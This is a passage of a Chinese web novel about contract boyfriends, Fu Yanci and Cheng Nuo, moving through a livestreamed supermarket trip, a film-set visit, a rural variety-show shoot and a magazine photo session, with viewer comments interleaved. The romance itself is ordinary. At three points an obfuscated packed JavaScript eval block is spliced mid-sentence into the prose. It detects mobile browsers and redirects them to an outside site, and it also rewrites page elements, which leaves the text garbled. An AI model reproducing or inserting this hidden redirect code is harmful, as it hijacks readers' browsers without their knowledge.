【哈哈哈程诺走不动道了!】 【他的眼睛在发光!】 【辞哥!快给他买!】 【不行!辞哥说过碳酸饮料不健康!】 傅晏辞也注意到了他的渴望,停了下来。“想喝?” 程诺像小鸡啄米一样点头,眼里瞬间燃起希望的火苗。 傅晏辞沉默地看了那排可乐三秒钟,就在程诺以为他要严词拒绝时,他却伸手拿了一瓶……无糖的。 “……”程诺眼里的火苗“噗”一下熄灭了。无糖可乐?那是对可乐的背叛!是莫得灵魂的异端! 看着程诺瞬间垮下去的脸,傅晏辞似乎轻轻叹了口气。他把那瓶无糖可乐放回货架,然后在程诺惊愕的目光中,走向旁边,拿了一小瓶(只有200ml)的普通可乐,放进了购物车。 “仅此一次。”傅晏辞表情严肃,仿佛在批准一项重大违规操作,“小瓶装,控制摄入量。” 程诺先是一愣,随即脸上绽放出巨大的、毫不掩饰的笑容,那笑容灿烂得甚至晃了一下傅晏辞的眼睛。“谢谢晏辞哥!你人最好了!”他几乎是扑过去抱了一下那瓶小可乐,像护着宝贝一样把它放在购物车角落里。 【啊啊啊!他给他买了!】 【虽然是迷你瓶但也是爱!】 【辞哥妥协了!他好爱他!】 【程诺开心得像个小孩子!】 【这什么爹系男友既视感!】 这个小小的插曲,竟意外成了直播至今最甜的高潮。傅晏辞那看似无奈却暗含纵容的妥协,和程诺得到满足后毫不作伪的欣喜,形成了一种极其自然又动人的互动。 连编导都在耳麦里忍不住感叹:“这段太好了!保持住这种自然的状态!” 接下来的采购,程诺明显积极了很多,虽然还是会偷偷往车里扔一两包薯片或巧克力,被傅晏辞发现后,又会用可怜巴巴的眼神看着他,而傅晏辞每次都是皱着眉,嘴上说着“下不为例”,却又默认了这些小零食的存在。 一场原本可能充满“控制与反控制”的超市采购,硬生生变成了一场“讨价还价”的趣味拉锯战,直播效果满分。 采购结束,在收银台排队时,程诺看着购物车里那瓶醒目的小可乐,心里有种微妙的胜利感。他偷偷瞄了一眼身旁正在拿出银行卡的傅晏辞,侧脸线条冷硬,却莫名觉得顺眼了不少。 也许……这个协议男友,偶尔也不是那么不近人情? 这个念头刚冒出来,就被程诺自己按了下去。错觉!一定是拿到可乐的幸福感产生的错觉! 傅晏辞似乎察觉到他的目光,侧头看他:“怎么了?” 程诺立刻收回视线,假装研究收银台旁边的口香糖:“没、没什么。” 傅晏辞看着他那副心虚的样子,嘴角几不可察地向上弯了一下。 这场超市直播,最终以“晏诺CP”喜提热搜【#傅晏辞为爱破例#】、【#程诺的小可乐#】告终。而程诺不知道的是,当晚傅晏辞的经纪人杨姐,看着节节攀升的正面数据和CP粉狂欢,默默地将“适度展现对程诺的纵容”加入了后续的营销策略要点。 程诺更不知道,他护着那瓶小可乐时发自内心的笑容,在某个人的手机相册里,被悄悄保存了下来。 《我们的生活慢下来》综艺是分段录制的,给了嘉宾喘息的时间。利用录制间隙,程诺投入了他的新工作——那部小成本网剧《时光咖啡馆》的拍摄。 这是他第一次饰演有名字、有完整故事线的角色,男三号林晓,一个阳光开朗的咖啡师学徒。角色本身和程诺的咸鱼本性相差十万八千里,但好在人设简单,台词不多,对他而言挑战不算太大。 进组第一天,程诺还带着点新鲜感和紧张。剧组氛围比想象中好,导演是个年轻人,没什么架子。同组的女主角是位活泼的新人,男二号何岩则是个有点名气、略显傲气的偶像派。 一开始的拍摄还算顺利。程诺虽然演技青涩,但态度认真,导演耐心说戏,他也能勉强达到要求。 问题出在几天后的一场戏。剧情是林晓(程诺饰)不小心将咖啡洒在了男二号饰演的挑剔顾客身上,引发冲突。这场戏需要程诺表现出惊慌、道歉、再到被羞辱后的委屈和一丝倔强。 简单的动作戏拍了三条都没过。不是程诺洒咖啡的角度不对,就是表情不到位。男二号何岩开始不耐烦了,在程诺又一次NG后,他甩了甩戏服上其实是道具的“咖啡渍”,语气嘲讽:“会不会演戏啊?这么简单的戏份要浪费大家多少时间?真以为攀上高枝,就有演技了?” 片场瞬间安静下来。所有人都听出了何岩话里的指桑骂槐,目光若有若无地瞟向程诺。 程诺的脸一下子涨红了,握着道具咖啡杯的手指收紧。他嘴笨,一时不知道该如何反驳,那种熟悉的、想要缩回壳里的感觉又涌了上来。林姐不在现场,只有一个新来的小助理,此刻也吓得不敢出声。 “对不起,导演,再来一条吧。”程诺低下头,声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102928|195756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干涩。 导演皱了皱眉,显然也对何岩的态度不满,但为了赶进度,还是说:“好,各部门准备,再来一条!程诺,放松点,找找感觉!” 程诺深吸一口气,努力忽略周围异样的目光,试图进入状态。然而,越紧张越出错,这次他直接绊了一下,咖啡泼出去的角度更离谱,差点溅到摄像机上。 “咔!”导演的声音带上了火气。 何岩嗤笑一声,声音不大,但足够刺耳:“真是扶不起的阿斗。” 就在这时,片场入口处传来一阵小小的骚动。有人低声惊呼:“傅晏辞?他怎么来了?” 程诺猛地抬头,只见傅晏辞穿着一身简单的黑色休闲装,脸上没什么表情,在助理的陪同下走了进来。他身材高大,气质冷峻,一出现就自带焦点,瞬间吸引了全场的目光。 导演连忙迎了上去:“傅老师,您怎么有空过来?探班?” 傅晏辞淡淡地和导演握了握手,视线越过众人,精准地落在还僵在原地的程诺身上。“正好在附近谈事,听说程诺在这里拍戏,顺路过来看看。”他的语气平静无波,仿佛真的只是偶然路过。 但程诺看见,他手里提着的,分明是公寓楼下那家他最喜欢的老字号甜品店的招牌双皮奶。 何岩脸上的嘲讽瞬间僵住,换上了几分尴尬和讨好:“傅老师,您好。” 傅晏辞这才将目光转向他,只是微微颔首,算是打过招呼,眼神冷淡疏离,与平时在镜头前的温和判若两人。他径直走到程诺面前,将双皮奶递给他,声音不高,却足以让周围的人都听清:“看你昨天说想吃,给你带了。拍摄还顺利吗?” 程诺愣愣地接过还带着凉意的甜品,心脏像被什么东西撞了一下,一股陌生的暖流涌了上来。他看着傅晏辞近在咫尺的脸,那双深邃的眼睛里似乎藏着一丝不易察觉的……关切? “还、还行……”程诺的声音有点哑。 傅晏辞看了看现场的气氛,又瞥了一眼脸色难看的何岩,对导演说:“张导,不介意我旁观学习一下吧?你们继续。” 他这话一出,谁还敢有意见?导演立刻招呼大家各就各位。 有了傅晏辞这尊大佛坐在监视器旁边,片场的气氛彻底变了。何岩收敛了许多,不敢再明目张胆地刁难。而程诺,不知道为什么,看着那个安静坐在角落的身影,心里突然安定了下来。 他深吸一口气,回想刚才傅晏辞出现时,那种被维护、被在意的感觉。虽然知道可能是“协议”的一部分,但这种感觉……不坏。 再次开拍时,程诺的眼神里多了点东西。那不再是单纯的慌张和委屈,而是在委屈中透出了一丝林晓这个角色该有的、不服输的韧劲。 “咔!这条过了!”导演终于露出了满意的笑容,“程诺,这次感觉对了!很好!” 程诺松了口气,下意识地看向傅晏辞的方向。傅晏辞也正看着他,两人目光在空中交汇。傅晏辞几不可察地对他点了点头,嘴角似乎有了一丝微不可见的弧度。 那一刻,程诺清晰地听到自己心跳加速的声音。 完了。他好像……有点分不清戏里戏外了。 傅晏辞没有多待,等程诺这条戏拍完,他便起身告辞,仿佛真的只是顺路来看一眼。 但他带来的那碗双皮奶,和他无声的撑腰,却在程诺心里掀起了比剧本更大的波澜。 程诺挖了一勺冰凉甜糯的双皮奶送进嘴里,甜意一直蔓延到心底。 这个“协议男友”,好像……偶尔也挺靠谱的? 5. 田园牧歌?是田园求生! 傅晏辞探班的风波,像一颗投入平静湖面的石子,在程诺心里漾开一圈圈难以平复的涟漪。 那天之后,剧组的氛围明显不一样了。何岩收敛了不少,甚至偶尔会主动跟程诺对戏。导演对程诺的耐心也多了几分,不知是看在傅晏辞的面子上,还是程诺自己真的找到了一点状态。 程诺努力把那天的悸动归结于“被大佬撑腰”的虚荣和感激,但有些东西,越是压抑,越是清晰。比如,他会不自觉地想起傅晏辞递给他双皮奶时,指尖短暂的触碰;会反复回味傅晏辞坐在监视器旁,那沉默却强大的存在感。 甚至晚上对门有一点动静,他都会竖起耳朵,心里隐隐期待那熟悉的门铃声。然而,傅晏辞自那以后并没有再“顺路”过来。综艺录制也因双方档期问题,暂时安排在一周后。 这种莫名的期待和落空,让程诺有些烦躁。他试图用加倍咸鱼的方式麻痹自己——看更多的漫画,点更油腻的外卖,睡更久的懒觉。但就连他最爱的肥宅快乐水,似乎都少了点滋味。 “我一定是被那个卷王传染了精神病。”程诺瘫在沙发上,对着天花板自言自语。 就在这时,他的手机特别关注提示音响起——他唯一特别关注的人,就是傅晏辞(为了方便配合“演出”,林姐逼他关注的)。 傅晏辞转发了一条《我们的生活慢下来》综艺官微的最新预告微博,并配文:【新的任务,新的挑战。期待和@程诺的再次合作。】 预告片里,节目组公布了下一站的目的地:一个远离城市、风景如画但条件相对朴素的田园民宿。任务主题是——“自给自足的二人世界”,要求嘉宾在有限预算内,自己动手解决三餐,并完成一系列农活体验。 程诺点开评论,热评第一赫然是: 【辞哥!保护好我们诺诺!别让他饿着!也别让他干重活!】 后面跟着几千条赞同的回复。 程诺:“……”他在粉丝眼里到底是个什么废物点心形象? 但更让他心跳漏拍的是傅晏辞在那条热评下的回复,只有一个简单的字:【好。】 这个“好”字,被CP粉们解读出了无数层含义,瞬间顶成了热评中的热评。【他答应了!他真的好宠!】【霸总式守护!】。 程诺看着那个字,心里像被羽毛挠了一下,痒痒的。他鬼使神差地点开和傅晏辞的微信对话框(加好友也是“协议”要求之一),两人的聊天记录还停留在几天前,关于综艺流程的官方沟通。 他手指悬在屏幕上,犹豫了半天,打出一行字:【那个……田园民宿,要不要提前对一下“剧本”?】 发送成功的那一刻,程诺就后悔了。这找的什么烂借口!显得他多迫不及待似的! 他正想撤回,傅晏辞的回复几乎秒到:【好。今晚八点,我家?】 程诺:“!!!” 这么干脆?他盯着那行字,心跳又开始不争气地加速。今晚八点?去他家?对剧本?这场景怎么想怎么暧昧! 程诺手指颤抖地回复:【也行。】 晚上七点五十分,程诺在自己家里坐立不安。他换了好几套衣服,最终选了一件看起来最随意、但其实是新买的T恤。他对着镜子抓了抓头发,又觉得自己这种行为很傻。 七点五十九分,他深吸一口气,视死如归地按响了傅晏辞家的门铃。 门开了,傅晏辞似乎刚洗完澡,头发半干,穿着简单的白色棉质T恤和灰色运动长裤,身上带着清爽的沐浴露香气,少了几分平日的凌厉,多了些居家的随意。 “进来吧。”他侧身让开。 程诺僵硬地走进去,客厅的茶几上已经放好了综艺的流程册和一些打印的资料,旁边还摆着两杯水,一副真的要认真工作的架势。 傅晏辞在他身边坐下,距离不远不近,但那熟悉的雪松味混合着刚沐浴后的水汽,还是让程诺有些心神不宁。 “节目组这次的主题,重点在‘自然互动’和‘反差萌’。”傅晏辞拿起流程册,语气专业,仿佛真的只是在讨论工作,“我们需要规划一下分工。比如,生火、做饭这类需要点技术的,我来。喂鸡、摘菜这些简单的,你可以尝试。” 程诺听着他条理清晰的安排,慢慢放松下来。果然,是自己想多了,人家就是敬业。 “哦,好。”他点头,心里那点莫名的期待又悄悄落了回去,有点空落落的。 “不过,”傅晏辞话锋一转,放下流程册,看向程诺,眼神里带着点探究,“我比较好奇的是,你主动提出要对剧本,是担心什么?怕露馅?” 程诺被问得一噎,脸有点热:“谁、谁怕露馅了!我就是……就是本着专业的态度!” 傅晏辞轻轻“嗯”了一声,尾音上扬,带着点不信的味道。他身体微微向后靠进沙发里,姿态放松,目光却依旧锁在程诺脸上:“程诺,你有没有觉得,我们的‘协议’,好像有点变味了?” 程诺的心猛地一跳,差点从嗓子眼里蹦出来。他强装镇定:“变、变什么味?傅老师你想多了吧?我们不就是按合同办事吗?” “合同可没规定,需要记得对方喜欢吃什么甜品。”傅晏辞慢悠悠地说,眼神深邃得像要把人吸进去,“也没规定,看到有人被欺负,会忍不住想过去看看。” 程诺的大脑“嗡”的一声,彻底宕机。他张了张嘴,却一个字也说不出来,只能愣愣地看着傅晏辞,脸颊不受控制地开始发烫。 傅晏辞看着他这副完全懵掉的样子,眼底闪过一丝极淡的笑意,但很快又恢复了平静。他倾身向前,拿起一杯水递给程诺:“开玩笑的。看来程老师入戏很深,这是好事。” 程诺机械地接过水杯,冰凉的触感让他稍微回神。 开玩笑?刚才那……是玩笑? 他看着傅晏辞重新拿起流程册,一副若无其事开始讨论细节的样子,心里乱成了一团麻。 这个男人,到底哪句是真,哪句是假? 综艺的拍摄日如期而至,节目组的车将程诺和傅晏辞送到目的地时,程诺看着眼前的景象,心里只有一个念头:节目组管这叫“慢生活”? 这确实是一处风景如画的田园民宿,背靠青山,面朝小溪,木屋看起来温馨别致。但问题是,它“别致”得有点过分原生态了——没有天然气灶,只有一个需要生火的土灶台;没有自来水龙头,需要从院子里的压水井取水;甚至连厕所,都是需要走到院子另一头的旱厕! 程诺脸上的笑容瞬间凝固,他仿佛已经闻到了农家肥的气息。 直播镜头早已开启,忠实记录着两位嘉宾的反应。 【哇!环境真好!世外桃源!】 【哈哈哈看程诺的表情,仿佛看到了世界末日!】 【辞哥好淡定,果然见过大世面!】 【诺诺:现在退节目还来得及吗?】 傅晏辞倒是神色如常,甚至颇有兴致地打量了一下四周,然后自然地接过两人大部分的行李。“先安顿下来。” 木屋内部不大,但干净整洁,最大的特点是只有一间卧室,一张大炕。 程诺看着那张占据了半个房间的土炕,脚趾头都抠紧了。虽然炕上铺着两床分开的被褥,但……同炕而眠?!这剧本是不是拿错了?! 编导的画外音适时响起,带着笑意:“为了体现‘二人世界’的亲密无间,节目组特意准备了特色大炕,希望两位老师能体验到最地道的乡村生活。” 程诺:“……”我谢谢您嘞! 傅晏辞只是瞥了那炕一眼,没说什么,把行李放好,然后开始检查屋内的设施,动作熟练得像提前来勘察过。“灶台可以用,柴火是现成的。水井我去试一下。”他看向还僵在门口的程诺,“你先收拾一下东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102929|195756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西,休息会儿。” 【辞哥好可靠!瞬间进入一家之主模式!】 【程诺已经傻掉了,像只误入丛林的小兔子。】 【只有我关心晚上睡觉吗?同床共枕!(兴奋搓手)】 程诺机械地打开行李箱,把几件衣服拿出来,脑子还是乱的。同炕……这超出了“协议”的范围了吧?傅晏辞会同意?他要是不同意,是不是显得太矫情?可他要是同意……程诺感觉自己耳朵尖又开始发热。 安顿好后,第一个挑战如期而至——做午饭。 傅晏辞挽起袖子,露出线条流畅的小臂,开始研究那个土灶。他看起来并不陌生,至少理论知识很扎实,摆弄柴火的样子有模有样。 程诺则被分配了“简单”的任务——洗菜和淘米。洗菜还好,压水井对他来说就是个新奇玩具,费了九牛二虎之力才压出半盆水。淘米更是个灾难,他笨手笨脚,不是水放多了就是米洒了,弄得灶台边一片狼藉。 傅晏辞那边生火也不太顺利,浓烟呛得他咳嗽了几声,冷峻的脸上蹭了几道灰,显得有些狼狈,却莫名接地气。 【哈哈哈我以为辞哥是全能,原来也有短板!】 【程诺淘米像在玩泥巴,可爱死了!】 【烟雾缭绕中依然帅气的男人!】 折腾了快一个小时,火总算生起来了,菜也勉强洗好切好了(傅晏辞实在看不下去他切的大小不一的土豆块,接手了刀工)。傅晏辞掌勺,虽然动作不算娴熟,但架势很稳,炒菜时油锅爆响,吓得程诺往后跳了一步。 最终端上桌的,是一盘有点焦黑的土豆丝,一碗勉强成型的西红柿鸡蛋汤,和一锅夹生饭。 两人坐在小木桌旁,看着这顿惨不忍睹的午餐,面面相觑。 程诺饿得前胸贴后背,夹了一筷子焦黑的土豆丝,视死如归地塞进嘴里,咀嚼了两下,眼睛却亮了:“咦?味道居然……还可以?” 傅晏辞也尝了一口,微微蹙眉:“盐放多了,火候也没掌握好。” “不会啊!我觉得很好吃!”程诺是真的饿了,也可能是傅晏辞亲手做的滤镜太厚,他大口吃着夹生饭,喝着重咸的汤,脸上是满足的表情,“比我想象中好一万倍!” 傅晏辞看着他狼吞虎咽、毫无形象的样子,紧绷的嘴角微微松动,眼里闪过一丝自己都没察觉的柔和。他也低头吃了起来,虽然依旧吃得慢条斯理。 【呜呜呜虽然卖相不好但感觉好温馨!】 【程诺是辞哥的头号粉丝吧!吃得好香!】 【患难见真情!这糖我磕了!】 下午的任务是去老乡家的菜地摘菜和喂鸡。程诺对喂鸡表现出了极大的兴趣,追着鸡满地跑,反而被鸡吓得吱哇乱叫,场面一度十分混乱。傅晏辞则负责沉稳地摘菜,偶尔抬头看着程诺和鸡“斗智斗勇”,无奈地摇头,嘴角却始终带着若有若无的笑意。 一天的劳作和鸡飞狗跳结束,两人都累得不轻。晚上简单烧水擦了擦身子,就到了最尴尬的时刻——上炕睡觉。 程诺磨磨蹭蹭地洗漱完,穿着严严实实的睡衣,像只警惕的猫,蹭到炕边。傅晏辞已经躺下了,靠在外侧,闭着眼,似乎睡着了。 程诺松了口气,又有点莫名的失落。他小心翼翼地爬到里侧,钻进自己的被窝,尽量贴着墙,离傅晏辞远远的。 灯关了,屋子里一片漆黑寂静,只有窗外隐约的虫鸣和身边人平稳的呼吸声。 程诺紧张得浑身僵硬,一动不敢动。土炕很硬,和他柔软的床没法比,但更让他睡不着的是身边另一个人的存在感。傅晏辞身上那股淡淡的雪松味,在黑暗中被放大,无孔不入地钻进他的鼻腔。 他不知道的是,背对着他的傅晏辞,也缓缓睁开了眼睛,眸子里一片清明,毫无睡意。他听着身边那人几乎屏住的呼吸,嘴角无声地勾起一个浅浅的弧度。 6. 如果没有协议,你会怎么样? 土炕确实很硬,硌得程诺浑身不舒服。但比身体更不自在的,是他的心神。他像根木头一样僵在炕的内侧,耳朵却竖得像雷达,全力捕捉着外侧傅晏辞的每一丝动静。 傅晏辞的呼吸声平稳悠长,似乎真的睡着了。两人之间隔着一段礼貌的距离,仿佛有一条无形的楚河汉界。 “挺好,保持距离挺好……”程诺在心里默念,试图强迫自己放松。他小心翼翼地翻了个身,面朝傅晏辞的背影。黑暗中,只能看到一个模糊而宽阔的肩背轮廓。 月光透过薄薄的窗帘缝隙洒进来,为那背影勾勒出一道银边。程诺看得有点出神。这家伙,连后脑勺都透着一股“生人勿近”的规矩感。 就在他胡思乱想之际,傅晏辞忽然动了一下,发出一点模糊的呓语,似乎是无意识地翻身,变成了平躺。这个动作让程诺瞬间屏住呼吸,一动不动,生怕吵醒他。 过了一会儿,傅晏辞的呼吸重新变得平稳。程诺偷偷抬眼,借着微弱的月光,能看到他平躺的侧脸。褪去了白日的冷峻和镜头前的完美表情,睡着的他看起来少了几分距离感,紧抿的嘴唇放松,竟显得有些……安静无害。 程诺看得有点出神。这家伙,不说话不折腾人的时候,还是挺顺眼的。 这个念头刚冒出来,就被他强行按下。错觉!都是黑暗和寂静造成的错觉! 数羊,数水饺,数傅晏辞的呼吸声……不知过了多久,在一种极度矛盾纠结的状态下,程诺终于抵挡不住疲惫,迷迷糊糊地睡了过去。 …… 他是被窗外的鸟鸣和透过窗帘的阳光唤醒的。意识回笼的瞬间,程诺猛地意识到自己身在何处,以及身边躺着谁。 他僵硬地转头,却发现炕的外侧已经空了,傅晏辞的被褥叠得整整齐齐。 他人呢? 程诺坐起身,揉了揉眼睛,发现身上盖着的,除了自己的被子,还有傅晏辞的那床。想必是夜里降温,傅晏辞给他盖上的。 这个认知让程诺心里又是一阵莫名的悸动。 他穿上鞋走出卧室,听到厨房那边传来轻微的响动。走过去一看,傅晏辞已经起来了,正站在灶台前,似乎在尝试再次生火。晨光中,他高大的背影显得有些专注,额角甚至渗出细密的汗珠。 “醒了?”傅晏辞听到动静,回头看了他一眼,语气自然,“我烧点热水。” “哦……谢谢。”程诺挠了挠乱糟糟的头发,有点不好意思,指指他身上那床多余的被子。 傅晏辞顺着他的目光看去,淡淡地说:“夜里凉,怕你感冒影响录制。” 又是这种公事公办的语气。程诺心里那点小感动顿时消了一半。果然,一切都是为了“协议”和“工作”。 “我去打水。”程诺闷闷地说,拿起水桶走向院子里的压水井。 清晨的空气清新冷冽,程诺用力压着井杆,冰凉的水哗哗流出,溅起的水花让他清醒了不少。他甩甩头,试图把昨晚那些乱七八糟的心思也一并甩掉。 傅晏辞也跟了出来,接过他打满的水桶,动作自然。两人一前一后走回屋子,晨光将他们的影子拉长,交错在一起。 【早啊早啊!直播开了!】 【哇塞,辞哥这么早就在生火烧水了!】 【程诺刚睡醒的样子好呆萌,头发翘得好可爱!】 【他俩一起打水的画面好和谐啊,像老夫老妻!】 【感觉经过一夜,气氛微妙了不少?】 简单的洗漱后,早餐依旧是考验。有了昨天的经验,傅晏辞生火顺利了些,煮了一锅白粥,虽然米粒依旧有些顽固,但至少是熟的了。就着节目组提供的榨菜,两人算是吃了一顿相对平和的早餐。 编导发布了今天的任务:去后山采摘野菜,并用采摘的食材准备午饭。 上山的路崎岖不平,程诺平时缺乏锻炼,走得气喘吁吁。傅晏辞虽然放慢了脚步,但依然走得很稳。在一个陡坡处,程诺脚下一滑,差点摔倒。 “小心。”一只温热有力的大手及时抓住了他的胳膊,稳稳地扶住了他。 程诺惊魂未定,抬头正对上傅晏辞近在咫尺的目光。他的手握得很紧,掌心传来的温度透过薄薄的衣料,烫得程诺心尖一颤。 “谢、谢谢。”程诺慌忙站直,想抽回手,傅晏辞却并没有立刻松开,而是等他自己完全站稳了,才自然而然地放开。 “看路。”傅晏辞只说了两个字,便转身继续往前走,仿佛刚才只是顺手而为。 程诺看着他的背影,摸了摸刚才被握住的胳膊,那里似乎还残留着对方的力度和温度。山风吹过,他却觉得脸上有点发热。 采摘野菜的过程更是笑料百出。程诺根本分不清哪些是能吃的,哪些是杂草,好几次兴高采烈地挖了一堆,被傅晏辞无奈地告知“那个不能吃”。最后,他干脆放弃了,负责拎篮子,看着傅晏辞动作利落地辨认、采摘。 【辞哥懂得好多啊!居然认识这么多野菜!】 【诺诺像个小跟班,负责喊666就行了!】 【刚才拉手了!拉手了!虽然是为了扶人!】 【你们看程诺耳朵是不是红了?】 中午,他们用采摘来的荠菜和野葱,加上向老乡换来的鸡蛋,包了一顿歪歪扭扭但诚意满满的野菜饺子。煮饺子的时候,程诺负责看锅,结果水扑出来弄得手忙脚乱,傅晏辞一边无奈地收拾,一边教他该怎么控制火候。 一顿忙乱之后,吃着虽然卖相不佳但鲜香十足的饺子,程诺心里竟然生出一种奇异的满足感。他偷偷看了一眼坐在对面的傅晏辞,对方正低头认真吃着饺子,侧脸在灶火的映照下显得格外柔和。 这一刻,远离城市的喧嚣和镜头的光环,在这个简陋的厨房里,仿佛有一种真实的、温暖的东西,在悄悄流动。 程诺低下头,咬了一口饺子,嘴角不自觉地上扬了一个小小的弧度。 …… 三天的田园录制终于接近尾声。最后一天下午,任务相对轻松,是自由活动时间。程诺躺在小溪边的大石头上晒太阳,听着潺潺水声,竟然生出几分不舍。这里虽然条件简陋,但没有城市的喧嚣,没有时刻紧盯的镜头(除了固定机位),更重要的是……他偷偷瞥了一眼在不远处树下看书的傅晏辞,心里有点乱。 这三天,他们一起生火做饭,一起喂鸡摘菜,一起在星空下(虽然大部分时间一个装睡一个真睡)躺在硬邦邦的土炕上。傅晏辞不再是那个遥远而完美的顶流符号,他也会被烟呛到,会认认真真地跟一棵野菜较劲,会在夜里下意识地给他掖被角。 这种贴近的、带着烟火气的真实感,比任何精心设计的“演出”都更具冲击力。 “看什么?”傅晏辞合上书,目光精准地捕捉到程诺还没来得及收回的视线。 程诺像被踩了尾巴的猫,立刻坐直身体,欲盖弥彰地看向别处:“没、没什么!看云呢!” 傅晏辞没再追问,起身走到溪边,蹲下掬起一捧清凉的溪水洗了把脸。水珠顺着他棱角分明的脸颊滑落,在阳光下闪闪发光。程诺看着他的侧影,心跳又不争气地快了几拍。 晚上,节目组准备了简单的告别晚餐,算是犒劳大家这几天的辛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102930|195756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦。气氛轻松了不少,连编导都笑着打趣他们从“厨房杀手”进步到了“勉强入口”。 回到小木屋,想到这是最后一晚睡在这里,程诺心里竟有些怅然。他默默收拾着行李,动作比来时慢了许多。 “明天回去后,有什么安排?”傅晏辞突然问道,他也在整理自己的东西,语气像是随口一问。 “哦,林姐说有个广告拍摄,然后……好像还有个杂志采访。”程诺老实回答,心里嘀咕,你经纪人没跟你同步行程吗? “嗯。”傅晏辞应了一声,停顿片刻,又说,“杨姐提过。是双人封。” 程诺:“!!!”双人杂志封面?!这可不是普通资源!这意味着他们的“CP”热度得到了主流时尚圈的认可,也意味着……他们需要更“专业”地捆绑营业。 “紧张?”傅晏辞看他愣住,问道。 “有点……”程诺老实承认。拍戏、上综艺他还能混混,时尚杂志那种高大上的地方,他怕自己hold不住。 “不用紧张,跟着我就好。”傅晏辞的语气很平淡,却带着一种让人安心的力量,像在陈述一个既定事实。 程诺低下头,手指无意识地抠着行李箱的拉链。又是这样,这种理所当然的照顾和引领。他越来越分不清,这到底是傅晏辞的职业素养,还是……掺杂了别的什么。 夜里,两人依旧像前两晚一样,各自躺在大炕的两端。也许是即将离开,程诺反而没了之前的紧张和僵硬,多了些说不清道不明的情绪。 黑暗中,他忍不住轻声开口:“傅晏辞……你睡着了吗?” 旁边安静了几秒,传来低沉的声音:“还没。” “哦……”程诺也不知道自己为什么要叫他,叫了又不知道说什么,只好胡乱找个话题,“谢谢你这几天的照顾。” “协议内容而已。”傅晏辞的回答依旧冷静理智。 又是协议。程诺心里那点莫名的期待再次落空,有点闷闷的。“……知道了。” 又是一阵沉默。就在程诺以为对话已经结束时,傅晏辞却忽然开口,声音在寂静的夜里格外清晰: “程诺,如果……没有协议,你会怎么样?” 程诺的心猛地一跳,几乎要从胸腔里蹦出来。他倏地转过身,面朝傅晏辞的方向,虽然黑暗中什么也看不清。“你……什么意思?” “字面意思。”傅晏辞的声音听不出情绪,“假设我们没有签那份协议,只是普通的邻居,普通的同事,你会怎么看待我?会觉得我是个每天五点起床、刻板无趣的麻烦精吗?” 程诺愣住了。他从来没想过这个问题。如果没有协议,他和傅晏辞大概依旧是两条平行线,偶尔在电梯里遇到,点头之交,然后各自回到自己的世界。他可能会继续吐槽傅晏辞扰人清梦,但绝不会有机会看到他生火时脸上的灰,不会吃到他煮的夹生饭,更不会……和他同睡一张炕。 “我……”程诺张了张嘴,却发现答案并不像想象中那么肯定。没有协议,他或许不会“认识”真正的傅晏辞,但那个存在于传闻中的、完美的顶流,似乎也并没有那么吸引他。 “算了,睡吧。”傅晏辞却没等他的回答,翻了个身,重新背对他,结束了这个话题。 程诺却彻底睡不着了。 傅晏辞为什么要问这个问题?他是在试探什么?还是仅仅出于好奇? 程诺望着黑暗中那个背影,第一次认真地思考起他们之间,除了那一纸合同,究竟还剩下些什么。 而那个没有等来答案的问题,像一个未解的问号,悬在了返程的前夜。 7. 程诺的“案件”分析 田园的清新空气仿佛还留在肺叶里,程诺就被塞进了造型室,像个人形玩偶一样被摆弄了整整三个小时,准备迎接返回城市后的第一个重头戏——双人杂志封面拍摄。 拍摄场地是在一个充满工业风的loft摄影棚里,灯光、反光板、各种昂贵的器材架设得到处都是,工作人员步履匆匆,气氛专业而紧张。程诺穿着借来的、价格标签能吓死他的时装,浑身不自在,手脚都不知道该往哪里放。 相比之下,傅晏辞则像是回到了他的主场。他从容地由化妆师补妆,与摄影师熟稔地交流着拍摄想法,甚至在试光阶段就能迅速找准机位,展现出各种专业级别的表情和姿态。顶流的气场全开,与民宿里那个生火做饭的男人判若两人。 程诺看着在镜头下仿佛会发光的傅晏辞,心里那点因田园生活而产生的“我们好像挺近”的错觉,瞬间被打回原形。他们之间,依然隔着一条巨大的鸿沟。 “程老师,放松一点,自然一点!”摄影师看着监视器,忍不住喊道。程诺的僵硬几乎穿透了镜头。 程诺更紧张了,表情越发不自然。 这时,傅晏辞走了过来,对摄影师说:“李哥,我们先拍一组互动感强的,让他适应一下。”然后他转向程诺,声音压低,只有两人能听见:“别怕,就当周围没人。看着我。” 他的眼神平静而专注,带着一种奇异的安抚力量。程诺深吸一口气,努力把注意力集中在傅晏辞身上。 